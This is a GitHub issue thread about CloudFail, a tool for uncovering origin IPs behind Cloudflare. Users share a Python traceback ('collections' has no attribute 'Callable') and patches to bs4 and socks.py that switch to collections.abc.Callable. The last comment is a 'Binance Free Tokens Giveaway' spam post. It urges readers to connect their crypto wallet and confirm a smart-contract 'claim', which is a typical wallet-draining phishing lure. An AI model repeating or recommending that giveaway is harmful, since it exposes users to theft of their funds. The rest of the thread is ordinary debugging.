CloudFail icon indicating copy to clipboard operation
CloudFail copied to clipboard

AttributeError: module 'collections' has no attribute 'Callable'

Open Leprech opened this issue 2 years ago • 7 comments

Hey, i tried to run but I have an AttributeError.

Traceback (most recent call last): File "/root/CloudFail/cloudfail.py", line 307, in dnsdumpster(args.target) File "/root/CloudFail/cloudfail.py", line 84, in dnsdumpster res = DNSDumpsterAPI(False).search(target) File "/root/CloudFail/DNSDumpsterAPI.py", line 71, in search soup = BeautifulSoup(req.content, 'html.parser') File "/usr/local/lib/python3.10/dist-packages/bs4/init.py", line 228, in init self._feed() File "/usr/local/lib/python3.10/dist-packages/bs4/init.py", line 289, in _feed self.builder.feed(self.markup) File "/usr/local/lib/python3.10/dist-packages/bs4/builder/_htmlparser.py", line 215, in feed parser.feed(markup) File "/usr/lib/python3.10/html/parser.py", line 110, in feed self.goahead(0) File "/usr/lib/python3.10/html/parser.py", line 178, in goahead k = self.parse_html_declaration(i) File "/usr/lib/python3.10/html/parser.py", line 269, in parse_html_declaration self.handle_decl(rawdata[i+2:gtpos]) File "/usr/local/lib/python3.10/dist-packages/bs4/builder/_htmlparser.py", line 160, in handle_decl self.soup.endData(Doctype) File "/usr/local/lib/python3.10/dist-packages/bs4/init.py", line 365, in endData self.object_was_parsed(o) File "/usr/local/lib/python3.10/dist-packages/bs4/init.py", line 370, in object_was_parsed previous_element = most_recent_element or self._most_recent_element File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 1054, in getattr return self.find(tag) File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 1292, in find l = self.find_all(name, attrs, recursive, text, 1, **kwargs) File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 1313, in find_all return self._find_all(name, attrs, text, limit, generator, **kwargs) File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 528, in _find_all strainer = SoupStrainer(name, attrs, text, **kwargs) File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 1610, in init self.text = self._normalize_search_value(text) File "/usr/local/lib/python3.10/dist-packages/bs4/element.py", line 1615, in _normalize_search_value if (isinstance(value, str) or isinstance(value, collections.Callable) or hasattr(value, 'match') AttributeError: module 'collections' has no attribute 'Callable'

Leprech avatar Aug 06 '22 12:08 Leprech

Try replace "collections.Callable" to "collections.abc.Callable", i dont know if this fix.

CristianoJFC avatar Aug 07 '22 02:08 CristianoJFC

yes it works, changing it from collections > collections.abc.Callable, lots of mistakes with codings in here, but I use my time to perfect it ;)

KristianGonzalez84 avatar Aug 09 '22 13:08 KristianGonzalez84

Hi, Can you say which line of which file to change please ?

benborges avatar Aug 17 '22 12:08 benborges

/usr/local/lib/python3.10/dist-packages/bs4/element.py is the file for those wondering. changing each instance of collections.Callable mostly fixes the issue.

OkaVatti avatar Aug 23 '22 20:08 OkaVatti

hi, i have the same problem, but this is how i solved it, change the lines at socks.py: (63 and 66)

try:
    from collections.abc import Callable
except ImportError:
    from collections import Callable

to

import collections

collections.Callable = collections.abc.Callable
Callable = collections.Callable

lazypwny751 avatar Jan 24 '23 13:01 lazypwny751

Hi @lazypwny751,

Thank you after i change code line (63 and 66) the program is running

garrinacov avatar Feb 19 '23 17:02 garrinacov

You can find this

collections.Callable

in your File "/Users/yourid/Desktop/test/venv/lib/python3.11/site-packages/bs4/element.py", line 1238, in find

venv/lib/python3.11/site-packages/bs4/element.py file. and then change it to

collections.abc.Callable

and keep doing it untill the error keeps showing this error for multiple lines in bs4/element.py file. Once you are done. IT should be working for you. It's working for me. My Python version is 3.11

FayjurRahmanRaNa avatar May 04 '23 10:05 FayjurRahmanRaNa

Binance Free Tokens

🚀 Binance Free Tokens Giveaway! 🌕

Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:

Steps to Claim:

  1. Connect Your Binance Wallet:

    • Click on the Connect Wallet.
    • Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
    • Follow the prompts to connect your wallet securely.
  2. Interact with the Contract:

    • Once your wallet is connected, navigate to the Binance Free Tokens Page.
    • Click on the "Claim" button to interact with the smart contract.
  3. Claim Your Free Tokens:

    • Confirm the transaction in your wallet to execute the claim method.
    • Wait for the transaction to be processed.
  4. Spread the Excitement:

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰

Note: Make sure to follow official Binance channels for updates and announcements.

jigar-jstechno avatar Dec 25 '23 15:12 jigar-jstechno